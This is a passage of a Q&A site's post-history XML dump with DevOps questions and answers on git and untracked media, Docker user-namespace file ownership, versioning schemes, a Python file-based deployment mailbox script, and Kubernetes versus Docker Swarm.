  <row Id="7344" PostHistoryTypeId="5" PostId="2335" RevisionGUID="06f921d6-3856-4317-929c-99db2227a606" CreationDate="2017-10-16T16:23:46.540" UserId="47" Comment="added reference link(s)" Text="Six Sigma's [DMAIC][1] (see also [Wikipedia][2]) has been there before continuous procedures, so I think more or less these concepts have been nourishing [tag:itil], then CI/CD and now DevOps as well.&#xD;&#xA;&#xD;&#xA;Still I am not sure whether we have an established data model for example to allow DMAIC across many iterations.&#xD;&#xA;&#xD;&#xA;Question: do you know of examples of practices/ aligning DMAIC with DevOps (at the measure side, first of all)? Does it make sense?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.isixsigma.com/methodology/dmaic-methodology/what-dmaic/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DMAIC" ContentLicense="CC BY-SA 3.0" />
  <row Id="7345" PostHistoryTypeId="6" PostId="2335" RevisionGUID="06f921d6-3856-4317-929c-99db2227a606" CreationDate="2017-10-16T16:23:46.540" UserId="47" Comment="added reference link(s)" Text="&lt;methodology&gt;&lt;itil&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7346" PostHistoryTypeId="2" PostId="2336" RevisionGUID="795f406a-4245-4fd7-ac04-b89ae86087d1" CreationDate="2017-10-16T17:31:26.393" UserId="4763" Text="I have a dev site on a server which is synced with my git repo. The git repo does not track the media/ folder.&#xD;&#xA;&#xD;&#xA;I want to update the content on the dev server to mirror the live server, so will copy over the database and the media/ folder from live to dev.&#xD;&#xA;&#xD;&#xA;My worry is when I do this, git will pick up the changes in the filesystem with the new media/ files and won't allow me to do a git pull.&#xD;&#xA;&#xD;&#xA;What's the best practice to handle this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7347" PostHistoryTypeId="1" PostId="2336" RevisionGUID="795f406a-4245-4fd7-ac04-b89ae86087d1" CreationDate="2017-10-16T17:31:26.393" UserId="4763" Text="How to handle updating binary files on a dev server with git" ContentLicense="CC BY-SA 3.0" />
  <row Id="7348" PostHistoryTypeId="3" PostId="2336" RevisionGUID="795f406a-4245-4fd7-ac04-b89ae86087d1" CreationDate="2017-10-16T17:31:26.393" UserId="4763" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7350" PostHistoryTypeId="2" PostId="2337" RevisionGUID="5fe8ade4-85ac-4cfd-8cb6-70b65edada57" CreationDate="2017-10-16T17:53:24.777" UserId="3533" Text="You can add `/media` to .gitignore" ContentLicense="CC BY-SA 3.0" />
  <row Id="7351" PostHistoryTypeId="2" PostId="2338" RevisionGUID="dabaf796-5ab3-4656-9c25-293283cfb9d4" CreationDate="2017-10-16T19:20:20.000" UserId="210" Text="Yes, DMAIC makes sense. If processes like CD need to be improved it is important to have a baseline. Therefore the **M**easure step is useful. The team investigates the status of process X, e.g. CD by documenting the current status. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7352" PostHistoryTypeId="2" PostId="2339" RevisionGUID="b7777262-114c-40f3-a38e-df588fb0aef5" CreationDate="2017-10-16T22:28:01.953" UserId="47" Text="Git doesn't consider the untracked files for making decisions about accepting or rejecting a `git pull` operation, so you should have no worry about it.&#xD;&#xA;&#xD;&#xA;If still in doubt you can easily verify it: just pull another copy of the same git repo in some other location - for test only - mess with untracked files in it and pull again." ContentLicense="CC BY-SA 3.0" />
  <row Id="7353" PostHistoryTypeId="2" PostId="2340" RevisionGUID="c16c36e7-9bd2-48f6-8e6b-2df473320f2b" CreationDate="2017-10-16T22:42:30.690" UserId="4730" Text="Thank you to the comment from user54 for the answer.&#xD;&#xA;&#xD;&#xA;Both of my pasted `wget` URLs work as long as I'm using the correct value for password. In this case, I needed to use my user's API Token as described in the answer to another question:&#xD;&#xA;https://stackoverflow.com/a/34634247/317951" ContentLicense="CC BY-SA 3.0" />
  <row Id="7354" PostHistoryTypeId="50" PostId="1130" RevisionGUID="95a3f5aa-e4e0-40aa-a305-f38fea1d4808" CreationDate="2017-10-17T01:43:36.660" UserId="-1" />
  <row Id="7357" PostHistoryTypeId="2" PostId="2341" RevisionGUID="6578efb7-8f1e-4754-bf5f-825d738629ae" CreationDate="2017-10-17T07:12:19.727" UserId="707" Text="With Atlassian BitBucket, you can have:&#xD;&#xA;&#xD;&#xA;* Projects, which incorporate..&#xD;&#xA;* Source code repositories.&#xD;&#xA;&#xD;&#xA;Now, you could have a microservices with more than just one codebase and need therefore more than just repository. What is the best practice to reflect this if you have many different projects?&#xD;&#xA;&#xD;&#xA;My idea now is to encode microservice prefixes to repository names, but is this really the way to go?&#xD;&#xA;&#xD;&#xA;Like:&#xD;&#xA;&#xD;&#xA;* Project A&#xD;&#xA;  * service1.repo1&#xD;&#xA;  * service1.repo2&#xD;&#xA;  * service2.repo1&#xD;&#xA;* Project B&#xD;&#xA;  * serviceN.repoX" ContentLicense="CC BY-SA 3.0" />
  <row Id="7358" PostHistoryTypeId="1" PostId="2341" RevisionGUID="6578efb7-8f1e-4754-bf5f-825d738629ae" CreationDate="2017-10-17T07:12:19.727" UserId="707" Text="Proper mapping for service architectures, Docker and BitBucket mapping - how do you do it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7359" PostHistoryTypeId="3" PostId="2341" RevisionGUID="6578efb7-8f1e-4754-bf5f-825d738629ae" CreationDate="2017-10-17T07:12:19.727" UserId="707" Text="&lt;bitbucket&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7360" PostHistoryTypeId="50" PostId="1960" RevisionGUID="ee6654be-b5a0-4bd8-b474-2d22e7fe1536" CreationDate="2017-10-17T08:44:26.300" UserId="-1" />
  <row Id="7361" PostHistoryTypeId="2" PostId="2342" RevisionGUID="abb2e64a-e133-46a0-994a-fe838340f4d9" CreationDate="2017-10-17T10:55:28.400" UserId="4175" Text="# Background&#xD;&#xA;&#xD;&#xA;I wish to make sure all people and automated processes working with my project use the exact same `git` version. We had trouble in the past with subtle changes between `git` versions (e.g., regarding minutia in `rerere`).&#xD;&#xA;&#xD;&#xA;I am using something similar to https://hub.docker.com/r/alpine/git/ to put `git` inside a container.&#xD;&#xA;&#xD;&#xA;Instead of running `/usr/bin/git` or whatever, people will then use a wrapper/shim script similar to:&#xD;&#xA;&#xD;&#xA;    docker run -ti --rm \&#xD;&#xA;      -v $PWD:/git \&#xD;&#xA;      -v $HOME/.ssh:/root/.ssh \&#xD;&#xA;      dockerizedgit &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;This is working splendidly but...&#xD;&#xA;&#xD;&#xA;# Problem&#xD;&#xA;&#xD;&#xA;Obviously, if I stop right here, then files created by the `git` running inside the container will be ending up belonging to `root:root` on the host. It is clear why this happens, and as expected.&#xD;&#xA;&#xD;&#xA;Hence, I have enabled user namespaces for the docker demon. This works fine as well. My host user has UID 1000 and the subuid 493216.&#xD;&#xA;&#xD;&#xA;If I run the docker-git-shim in a directory (on the host) that belongs to 1000, and if that container starts to create files, my expectation at first had been that they would have ended up as belonging to 1000 on the host (i.e., forward- and backward-mapping).&#xD;&#xA;&#xD;&#xA;But, lo and behold, they belong to 493216, i.e., they belong to the subuid instead of the host uid. There is only a forward-mapping happening (from host-uid to sub-uid, no backward-mapping from sub-uid to host-uid).&#xD;&#xA;&#xD;&#xA;I understand why that is, and that this is working as intended. First, there is a 1:n mapping involved, and it would be non-trivial to map the potentialla 65536 sub-uid back to the one host-uid. It allows us to do all kinds of things that would be practical in other use-cases. But in my particular case, I actually do wish the files to end up with 1000 on the host.&#xD;&#xA;&#xD;&#xA;*Is there anything I can do about it?*&#xD;&#xA;&#xD;&#xA;# What I tried&#xD;&#xA;&#xD;&#xA;I added the host user 493216 to the host group 1000 and set the `g+rwx` permissions. If I do a `su - 493216` on the host, I can now edit the files belonging to 1000. But from inside the container, the files are shown to be owned by `nobody:nobody` and I can read them, but not write them.&#xD;&#xA;&#xD;&#xA;I can create new files inside the container if I do a `chmod 777` on a directory on the host (it then belongs to `nobody:nobdy` with 777 permissions in the container), and they end up belonging to `root:root` in the container (fine) and to 493216:493216 on the host (to be expected after all this)." ContentLicense="CC BY-SA 3.0" />
  <row Id="7362" PostHistoryTypeId="1" PostId="2342" RevisionGUID="abb2e64a-e133-46a0-994a-fe838340f4d9" CreationDate="2017-10-17T10:55:28.400" UserId="4175" Text="Using dockerized git leaves files belonging to the subuid/subgid" ContentLicense="CC BY-SA 3.0" />
  <row Id="7363" PostHistoryTypeId="3" PostId="2342" RevisionGUID="abb2e64a-e133-46a0-994a-fe838340f4d9" CreationDate="2017-10-17T10:55:28.400" UserId="4175" Text="&lt;docker&gt;&lt;permissions&gt;&lt;user-namespaces&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7364" PostHistoryTypeId="50" PostId="1561" RevisionGUID="31883068-7d31-4349-a5c5-9e94fa57291f" CreationDate="2017-10-17T12:46:16.687" UserId="-1" />
  <row Id="7365" PostHistoryTypeId="2" PostId="2343" RevisionGUID="aa41a71e-a6cd-40a2-8c3d-e6dca98a7732" CreationDate="2017-10-17T15:17:05.423" UserId="210" Text="One could also create libraries and call them using a dependency manager like a package.json if node is used or ivy if the code is written in java." ContentLicense="CC BY-SA 3.0" />
  <row Id="7367" PostHistoryTypeId="2" PostId="2345" RevisionGUID="45c0661d-6d27-4b1a-9d2f-7e255e4082e2" CreationDate="2017-10-17T15:24:03.170" UserId="4328" Text="A common problem at my company is versioning. We follow a versioning system *formatted* very similar to semantic versioning (but not by *definition*). Our current versioning is not only used by development, but also by marketing/sales in their release notes, advertising, etc. Often times, there are conflicts as to what the versioning should be. What the development team defines as a major change (non-backwards compatible api change) is often not considered a &quot;major&quot; change by marketing. Other times, marketing will push to increment the major because their is a significant customer workflow change, but from a development perspective, the change is very insignificant (often times just an application code patch). &#xD;&#xA;&#xD;&#xA;I am pushing heavily to separate our versioning into two distinct systems, a business versioning and a technical versioning system. This would allow both teams to define their own rules for versioning that best suites their needs. While the feedback in general is positive, some of the concerns are the confusion that this will cause, in our cross team communication and ticketing systems. &#xD;&#xA;&#xD;&#xA;What are some of the complications of having two versioning systems? What are some of the benefits of a separation? What kind of impact will this have on the teams and the company as a whole?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7368" PostHistoryTypeId="1" PostId="2345" RevisionGUID="45c0661d-6d27-4b1a-9d2f-7e255e4082e2" CreationDate="2017-10-17T15:24:03.170" UserId="4328" Text="Creating a Separate Technical and Business Versioning System" ContentLicense="CC BY-SA 3.0" />
  <row Id="7369" PostHistoryTypeId="3" PostId="2345" RevisionGUID="45c0661d-6d27-4b1a-9d2f-7e255e4082e2" CreationDate="2017-10-17T15:24:03.170" UserId="4328" Text="&lt;versioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7370" PostHistoryTypeId="2" PostId="2346" RevisionGUID="63e60a1e-4b53-40f6-8c7c-4e5316b0095c" CreationDate="2017-10-17T15:35:34.457" UserId="210" Text="In my opinion the software version should not be updated if the documentation changes, while the software itself does not change.&#xD;&#xA;&#xD;&#xA;I do not prefer to use different versioning for technical documentation and software as the docs are related to a certain software version. Different versioning will result in confusion.&#xD;&#xA;&#xD;&#xA;In conclusion, one could use the same versioning, but if only the doc is updated one could add metadata, like 1.2.3-20171017. By using metadata one could still see that the doc belongs to version x of the software and one could also see that the doc has been updated." ContentLicense="CC BY-SA 3.0" />
  <row Id="7371" PostHistoryTypeId="5" PostId="2334" RevisionGUID="84fe8ee0-5cb6-4da5-9b2a-eb2219da37aa" CreationDate="2017-10-17T18:00:32.723" UserId="47" Comment="update following comment" Text="A not very devopsy, but quite simple and effective solution with no security implications (no credential exchange or authentication required) would be to establish a file-based &quot;message&quot; exchange scheme, in a &quot;mailbox&quot; - a well-known filesystem location (setup once and owned by `root`) with 2 directories:&#xD;&#xA;&#xD;&#xA;- one owned by the jenkins user which creates **request** files containing deployment request information, one for each site&#xD;&#xA;- one owned by the apache group where each site dedicated users create their own **response** files containing request handling information for deployment requests for their site&#xD;&#xA;&#xD;&#xA;When jenkins processing reaches a deployment stage for a particular site it creates a corresponding **request** file with the necessary information in it.&#xD;&#xA;&#xD;&#xA;Each site user periodically (cron-driven, for example) checks for **request** files pertaining to their site, handle the request as appropriate, following their own site policies and provide status updates in the respective **response** files, which the jenkins user checks periodically.&#xD;&#xA;&#xD;&#xA;When a request handling is completed the jenkins user removes the **request** file, signalling that it received the &quot;message&quot; and then the site user periodical job can remove the corresponding **response** file.&#xD;&#xA;&#xD;&#xA;The names of the **request** and **response** files can be used to encode the particular site and request identification, so that the periodical checks don't have to fumble through multiple files.&#xD;&#xA;&#xD;&#xA;The scheme can easily work across machines (if, for example, some of the sites are migrated to other servers) simply by placing the &quot;mailbox&quot; on a shared filesystem accessible from all those machines.&#xD;&#xA;&#xD;&#xA;OK, an example, as requested. Just a basic skeleton, in python, hopefully self-documenting.&#xD;&#xA;&#xD;&#xA;Prerequisites:&#xD;&#xA;&#xD;&#xA;    sudo mkdir -p /var/message_box/requests&#xD;&#xA;    sudo chown jenkins /var/message_box/requests&#xD;&#xA;    sudo chmod go-w /var/message_box/requests&#xD;&#xA;    sudo mkdir /var/message_box/responses&#xD;&#xA;    sudo chgrp apache /var/message_box/responses&#xD;&#xA;    sudo chmod g+w /var/message_box/responses&#xD;&#xA;&#xD;&#xA;The `mailbox.py` file:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/python2.7 -u&#xD;&#xA;    &#xD;&#xA;    import logging, os, re, getpass, sys, time, yaml&#xD;&#xA;    &#xD;&#xA;    class Mailbox(object):&#xD;&#xA;    &#xD;&#xA;        base_dir = '/var/message_box'&#xD;&#xA;        request_filename_format = '%s.%s.yaml'  # username.id.yaml&#xD;&#xA;    &#xD;&#xA;        def __init__(self):&#xD;&#xA;            pass&#xD;&#xA;    &#xD;&#xA;        @property&#xD;&#xA;        def request_dir(self):&#xD;&#xA;            return os.path.join(self.base_dir, 'requests')&#xD;&#xA;    &#xD;&#xA;        @property&#xD;&#xA;        def response_dir(self):&#xD;&#xA;            return os.path.join(self.base_dir, 'responses')&#xD;&#xA;    &#xD;&#xA;        def msg_filename(self, user, request_id):&#xD;&#xA;            return self.request_filename_format % (user, request_id)&#xD;&#xA;    &#xD;&#xA;        def request_file(self, user, request_id):&#xD;&#xA;            return os.path.join(self.request_dir, self.msg_filename(user, request_id))&#xD;&#xA;    &#xD;&#xA;        def response_file(self, user, request_id):&#xD;&#xA;            return os.path.join(self.response_dir, self.msg_filename(user, request_id))&#xD;&#xA;    &#xD;&#xA;        def create_msg_file(self, user, request_id, data, is_response=False):&#xD;&#xA;            assert user and request_id and data and isinstance(data, dict)&#xD;&#xA;            msg_file = self.response_file(user, request_id) if is_response else \&#xD;&#xA;                       self.request_file(user, request_id)&#xD;&#xA;            with open(msg_file, 'w') as fd:&#xD;&#xA;                fd.write(yaml.dump(data))&#xD;&#xA;    &#xD;&#xA;        def msg_file_data(self, user, request_id, is_response=False):&#xD;&#xA;            msg_file = self.response_file(user, request_id) if is_response else \&#xD;&#xA;                       self.request_file(user, request_id)&#xD;&#xA;            if os.path.exists(msg_file):&#xD;&#xA;                with open(msg_file) as fd:&#xD;&#xA;                    data = yaml.load(fd.read())&#xD;&#xA;                if data and isinstance(data, dict):  # expected data format&#xD;&#xA;                    return data&#xD;&#xA;            return None&#xD;&#xA;    &#xD;&#xA;        def create_request(self, user, request_id, data):&#xD;&#xA;            self.create_msg_file(user, request_id, data)&#xD;&#xA;            logging.info('created request %s for %s' % (request_id, user))&#xD;&#xA;    &#xD;&#xA;        def create_response(self, request_id, status, response_data=None):&#xD;&#xA;            assert status&#xD;&#xA;            user = getpass.getuser()&#xD;&#xA;            self.create_msg_file(user, request_id, {'status': status, 'data': response_data}, is_response=True)&#xD;&#xA;            logging.info('created response %s with status %s for %s' % (request_id, status, user))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        def handle_requests(self):&#xD;&#xA;            user = getpass.getuser()&#xD;&#xA;            while True:  # keep handling requests indefinitely&#xD;&#xA;                time.sleep(1)  # new request polling rate, in seconds&#xD;&#xA;                for filename in os.listdir(self.request_dir):&#xD;&#xA;                    m = re.match('(.*)\.(.*)\.yaml', filename)&#xD;&#xA;                    if not m:  # not a valid request filename&#xD;&#xA;                        continue&#xD;&#xA;                    [username, request_id] = m.groups()&#xD;&#xA;                    if username != user:  # not a request for this user&#xD;&#xA;                        continue&#xD;&#xA;                    if os.path.exists(self.response_file(user, request_id)):&#xD;&#xA;                        # request handling already started&#xD;&#xA;                        # you may add here recovery code for request handling interrupted for whatever reason&#xD;&#xA;                        continue&#xD;&#xA;                    msg_data = self.msg_file_data(user, request_id)&#xD;&#xA;                    if not msg_data:  # unexpected data format&#xD;&#xA;                        continue&#xD;&#xA;    &#xD;&#xA;                    logging.info('received request %s: %s' % (request_id, msg_data))&#xD;&#xA;    &#xD;&#xA;                    # mark the request handling start&#xD;&#xA;                    self.create_response(request_id, 'in_progress')&#xD;&#xA;    &#xD;&#xA;                    time.sleep(5)  # mock-up, replace with whatever request handling means&#xD;&#xA;    &#xD;&#xA;                    # mark the request handling done&#xD;&#xA;                    self.create_response(request_id, 'done')  # you can add response data to the dict if needed&#xD;&#xA;    &#xD;&#xA;                    logging.info('handled request %s, waiting for confirmation' % request_id)&#xD;&#xA;    &#xD;&#xA;                    while True:  # wait for confirmation receipt before cleaning up&#xD;&#xA;                        time.sleep(1)  # confirmation receipt polling rate, in seconds&#xD;&#xA;                        if not os.path.exists(self.request_file(user, request_id)):&#xD;&#xA;                            # the deletion of the request file is the confirmation receipt&#xD;&#xA;                            logging.info('confirmation for request %s received, cleaning up' % request_id)&#xD;&#xA;                            os.unlink(self.response_file(user, request_id))  # cleanup response file&#xD;&#xA;                            break&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        def execute_deployment(self, deployment_id, deployment_user, deployment_data):&#xD;&#xA;    &#xD;&#xA;            self.create_request(deployment_user, deployment_id, deployment_data)&#xD;&#xA;            started = False&#xD;&#xA;            while True:  # wait until it's done&#xD;&#xA;                time.sleep(1)  # polling rate, in seconds&#xD;&#xA;                msg_data = self.msg_file_data(deployment_user, deployment_id, is_response=True)&#xD;&#xA;                if msg_data:&#xD;&#xA;                    status = msg_data.get('status')&#xD;&#xA;                    if status:&#xD;&#xA;                        if not started:&#xD;&#xA;                            logging.info('request %s handling started' % deployment_id)&#xD;&#xA;                            started = True&#xD;&#xA;                        if status == 'done':  # job completed&#xD;&#xA;                            logging.info('request %s handling completed, cleaning up' % deployment_id)&#xD;&#xA;                            # cleanup request file, which is the confirmation receipt&#xD;&#xA;                            os.unlink(self.request_file(deployment_user, deployment_id))&#xD;&#xA;                            break&#xD;&#xA;    &#xD;&#xA;    def usage(err_msg, option_parser):&#xD;&#xA;        if err_msg:&#xD;&#xA;            logging.error('%s\n\n%s\n' % (err_msg, option_parser.format_help()))&#xD;&#xA;        sys.exit(-1)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        import optparse&#xD;&#xA;    &#xD;&#xA;        logging.basicConfig(level=logging.DEBUG, format=&quot;%(levelname)5s  %(asctime)s %(filename)s:%(lineno)d] %(message)s&quot;)&#xD;&#xA;        os.umask(022)&#xD;&#xA;    &#xD;&#xA;        p = optparse.OptionParser()&#xD;&#xA;        p.add_option('-c', '--command', action='store', dest='command', choices=['deploy', 'handler'],&#xD;&#xA;                     help='command/mode: &lt;deploy|handler&gt;, mandatory', default=None)&#xD;&#xA;        p.add_option('-i', '--ID', action='store', dest='id',&#xD;&#xA;                     help='deployment ID, mandatory for deploy command', default=None)&#xD;&#xA;        p.add_option('-u', '--user', action='store', dest='user',&#xD;&#xA;                     help='deployment user, mandatory for deploy command', default=None)&#xD;&#xA;        p.add_option('-a', '--artifact', action='store', dest='artifact',&#xD;&#xA;                     help='deployment artifact, mandatory for deploy command', default=None)&#xD;&#xA;    &#xD;&#xA;        opts, _ = p.parse_args()&#xD;&#xA;    &#xD;&#xA;        if not opts.command:&#xD;&#xA;            usage('command is mandatory', p)&#xD;&#xA;    &#xD;&#xA;        mailbox = Mailbox()&#xD;&#xA;    &#xD;&#xA;        if opts.command == 'deploy':&#xD;&#xA;            if not opts.id or not opts.user or not opts.artifact:&#xD;&#xA;                usage('ID and user must be specified for deploy command', p)&#xD;&#xA;            data = {'artifact': opts.artifact}&#xD;&#xA;            mailbox.execute_deployment(opts.id, opts.user, data)&#xD;&#xA;    &#xD;&#xA;        elif opts.command == 'handler':&#xD;&#xA;            mailbox.handle_requests()&#xD;&#xA;&#xD;&#xA;The jenkins user driving the deployments, deployment info hacked to a string for this example - 'artifact' :&#xD;&#xA;&#xD;&#xA;    $ ./mailbox.py -c deploy -i 20 -u dancorn -a artifact&#xD;&#xA;     INFO  2017-10-17 13:32:34,663 mailbox.py:49] created request 20 for dancorn&#xD;&#xA;     INFO  2017-10-17 13:32:35,666 mailbox.py:109] request 20 handling started&#xD;&#xA;     INFO  2017-10-17 13:32:40,678 mailbox.py:112] request 20 handling completed, cleaning up&#xD;&#xA;    $ ./mailbox.py -c deploy -i 123 -u dancorn -a artifact&#xD;&#xA;     INFO  2017-10-17 13:33:32,359 mailbox.py:49] created request 123 for dancorn&#xD;&#xA;     INFO  2017-10-17 13:33:33,362 mailbox.py:109] request 123 handling started&#xD;&#xA;     INFO  2017-10-17 13:33:38,375 mailbox.py:112] request 123 handling completed, cleaning up&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;The apache users would launch the handler which in this example remains running (could be converted to a daemon, or a cron-driven approach):&#xD;&#xA;&#xD;&#xA;    $ ./mailbox.py -c handler&#xD;&#xA;     INFO  2017-10-17 13:32:34,819 mailbox.py:77] received request 20: {'artifact': 'artifact'}&#xD;&#xA;     INFO  2017-10-17 13:32:34,821 mailbox.py:55] created response 20 with status in_progress for dancorn&#xD;&#xA;     INFO  2017-10-17 13:32:39,827 mailbox.py:55] created response 20 with status done for dancorn&#xD;&#xA;     INFO  2017-10-17 13:32:39,827 mailbox.py:87] handled request 20, waiting for confirmation&#xD;&#xA;     INFO  2017-10-17 13:32:40,828 mailbox.py:93] confirmation for request 20 received, cleaning up&#xD;&#xA;     INFO  2017-10-17 13:33:32,888 mailbox.py:77] received request 123: {'artifact': 'artifact'}&#xD;&#xA;     INFO  2017-10-17 13:33:32,889 mailbox.py:55] created response 123 with status in_progress for dancorn&#xD;&#xA;     INFO  2017-10-17 13:33:37,891 mailbox.py:55] created response 123 with status done for dancorn&#xD;&#xA;     INFO  2017-10-17 13:33:37,891 mailbox.py:87] handled request 123, waiting for confirmation&#xD;&#xA;     INFO  2017-10-17 13:33:38,893 mailbox.py:93] confirmation for request 123 received, cleaning up&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7372" PostHistoryTypeId="5" PostId="2342" RevisionGUID="1fe668f6-94d7-4e11-af59-b79e981334d6" CreationDate="2017-10-17T18:49:25.447" UserId="4175" Comment="added 28 characters in body; edited title" Text="# Background&#xD;&#xA;&#xD;&#xA;I wish to make sure all people and automated processes working with my project use the exact same version and environment of some tool which has to do work on the *host* file system. &#xD;&#xA;&#xD;&#xA;Instead of running `/usr/bin/xyz` or whatever, people will then use a wrapper/shim script similar to:&#xD;&#xA;&#xD;&#xA;    docker run -ti --rm \&#xD;&#xA;      -v $PWD:/workdir \&#xD;&#xA;      -v $HOME/.ssh:/root/.ssh \&#xD;&#xA;      dockerizedxyz &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;This is working splendidly but...&#xD;&#xA;&#xD;&#xA;# Problem&#xD;&#xA;&#xD;&#xA;Obviously, if I stop right here, then files created by the `xyz` running inside the container will be ending up belonging to `root:root` on the host. It is clear why this happens, and as expected.&#xD;&#xA;&#xD;&#xA;Hence, I have enabled user namespaces for the docker demon. This works fine as well. My host user has UID 1000 and the subuid 493216.&#xD;&#xA;&#xD;&#xA;If I run the docker-xyz-shim in a directory (on the host) that belongs to 1000, and if that container starts to create files, my expectation at first had been that they would have ended up as belonging to 1000 on the host (i.e., forward- and backward-mapping).&#xD;&#xA;&#xD;&#xA;But, lo and behold, they belong to 493216, i.e., they belong to the subuid instead of the host uid. There is only a forward-mapping happening (from host-uid to sub-uid, no backward-mapping from sub-uid to host-uid).&#xD;&#xA;&#xD;&#xA;I understand why that is, and that this is working as intended. First, there is a 1:n mapping involved, and it would be non-trivial to map the potentialla 65536 sub-uid back to the one host-uid. It allows us to do all kinds of things that would be practical in other use-cases. But in my particular case, I actually do wish the files to end up with 1000 on the host.&#xD;&#xA;&#xD;&#xA;*Is there anything I can do about it?*&#xD;&#xA;&#xD;&#xA;# What I tried&#xD;&#xA;&#xD;&#xA;I added the host user 493216 to the host group 1000 and set the `g+rwx` permissions. If I do a `su - 493216` on the host, I can now edit the files belonging to 1000. But from inside the container, the files are shown to be owned by `nobody:nobody` and I can read them, but not write them.&#xD;&#xA;&#xD;&#xA;I can create new files inside the container if I do a `chmod 777` on a directory on the host (it then belongs to `nobody:nobdy` with 777 permissions in the container), and they end up belonging to `root:root` in the container (fine) and to 493216:493216 on the host (to be expected after all this).&#xD;&#xA;&#xD;&#xA;EDIT: replaced &quot;git&quot; with &quot;xyz&quot;, this is not about git at all, but about how to modify host files from inside a docker container without having `root` on the host." ContentLicense="CC BY-SA 3.0" />
  <row Id="7373" PostHistoryTypeId="4" PostId="2342" RevisionGUID="1fe668f6-94d7-4e11-af59-b79e981334d6" CreationDate="2017-10-17T18:49:25.447" UserId="4175" Comment="added 28 characters in body; edited title" Text="Using docker with userns leaves files belonging to the subuid/subgid" ContentLicense="CC BY-SA 3.0" />
  <row Id="7374" PostHistoryTypeId="2" PostId="2347" RevisionGUID="ed20c9b4-d1c8-4227-bbbe-dd256f053a0b" CreationDate="2017-10-17T20:48:51.833" UserId="4776" Text="This question is broad so if my answer is a little off-base feel free to add context and specific examples so that I have a better understanding.&#xD;&#xA;&#xD;&#xA;Using a machine image such as AWS' AMI would allow you to create a base or golden image, which you could then maintain and distribute or implement in your continuous delivery. Using this architecture you are ensuring that every microservice is deployed on consistent hardware with identical configuration so any problems you face are related to the microservice/application configuration. &#xD;&#xA;&#xD;&#xA;You can further this immutability with the addition of configuration tools such as Ansible and Packer. Using configuration management you could provision the machine image with whatever you want on it (including the application). Packer would then allow you to take a snapshot of that machine image and each deploy would be identical. &#xD;&#xA;&#xD;&#xA;Using this example you could 'bake' a base AMI with the correct packages, updates, and configuration installed with the help of Ansible and Packer. Additionally, you could look at 'Ansible-Pull' to complete the deploy by pulling the application code, making any changes, and deploying the microservice on top of that base image. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7375" PostHistoryTypeId="5" PostId="848" RevisionGUID="ba111dc0-b65b-4d2f-8b37-c226db260254" CreationDate="2017-10-17T20:59:04.947" UserId="228" Comment="New information that materially changes what the right approach would be." Text="**Update:** Docker just released [support for Kubernetes][1] as scheduler, which changes the situation and makes Kubernetes just an alternative scheduler to Docker Swarm. &#xD;&#xA;&#xD;&#xA;**TL;DR: DON'T DO IT.** Engineers [always try][2] to create these dog-pigs. Every unnecessary technology you bring will bring another whole set of faults. If you can pick one, then pick one and be happy you don't have to do both. If you like to play with Kubernetes, just get a private account on Google Cloud and play with it as much as you like. But don't make everyone at your company suffer through unnecessary complications.&#xD;&#xA;&#xD;&#xA;Those are two [parallel][3] and mostly equivalent [technologies][4]. If your business had legitimate business reason to [deploy][5] in [multiple Cloud][6] providers [for reliability][7] for example and wanted to deploy into both AWS [ECS][8] (Elastic Container Service - based on Docker) and Google [GKE][9] (Container Engine - based on Kubernetes) and you were asking how do you build a pipeline, which would build your software and package in containers for [deployment in both][10], that would be something else, but doing it just because you want to play with a new technology is very irresponsible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.docker.com/kubernetes&#xD;&#xA;  [2]: https://github.com/docker/swarm-frontends&#xD;&#xA;  [3]: https://technologyconversations.com/2015/11/04/docker-clustering-tools-compared-kubernetes-vs-docker-swarm/&#xD;&#xA;  [4]: https://insights.hpe.com/articles/the-basics-explaining-kubernetes-mesosphere-and-docker-swarm-1702.html&#xD;&#xA;  [5]: https://www.containership.io&#xD;&#xA;  [6]: https://thenewstack.io/containers-microservices-and-the-multi-cloud/&#xD;&#xA;  [7]: http://www.stratoscale.com/blog/cloud/running-containers-multi-cloud-environment/&#xD;&#xA;  [8]: https://aws.amazon.com/ecs/&#xD;&#xA;  [9]: https://cloud.google.com/container-engine/&#xD;&#xA;  [10]: https://leanpub.com/the-devops-2-toolkit" ContentLicense="CC BY-SA 3.0" />
  <row Id="7376" PostHistoryTypeId="2" PostId="2348" RevisionGUID="90544fbc-5d68-4642-8848-e2c8e5a547b6" CreationDate="2017-10-17T20:59:15.533" UserId="2845" Text="It seems to me that your customers should be dictating the versioning. Both teams seem to be heading towards the same thing but only partially understanding the customer impact. For development, when they significantly re-architect components, there is risk because this could corrupt data or leave core features in a malfunctioning state - this should be reflected by a major version number change.&#xD;&#xA;&#xD;&#xA;This doesn't mean much to marketing - everything looks the same, so why would the customer notice this change? No need to reflect this as a major change... unless you are a developer, in which case you risk a huge amount support interactions over those bugs. &#xD;&#xA;&#xD;&#xA;Similarly marketing is looking at the user interface with the assumption that with a significant overhaul to the GUI, customers might get lost or hate the new user interface. This could lead to significant support interactions helping customer navigate the new UX, so should be reflected as a major version number change to the customer. There is a lot of risks there... Unless you are developer. Then this is purely cosmetic. Everything is still functioning the same on the back end. &#xD;&#xA;&#xD;&#xA;So it seems you need to decide what it is that you feel version numbering is for.&#xD;&#xA;&#xD;&#xA; - Are version numbers used to signal risk to customers?&#xD;&#xA; - What source control system are you using&#xD;&#xA; - Does Development even need version numbers *at all* or are commit 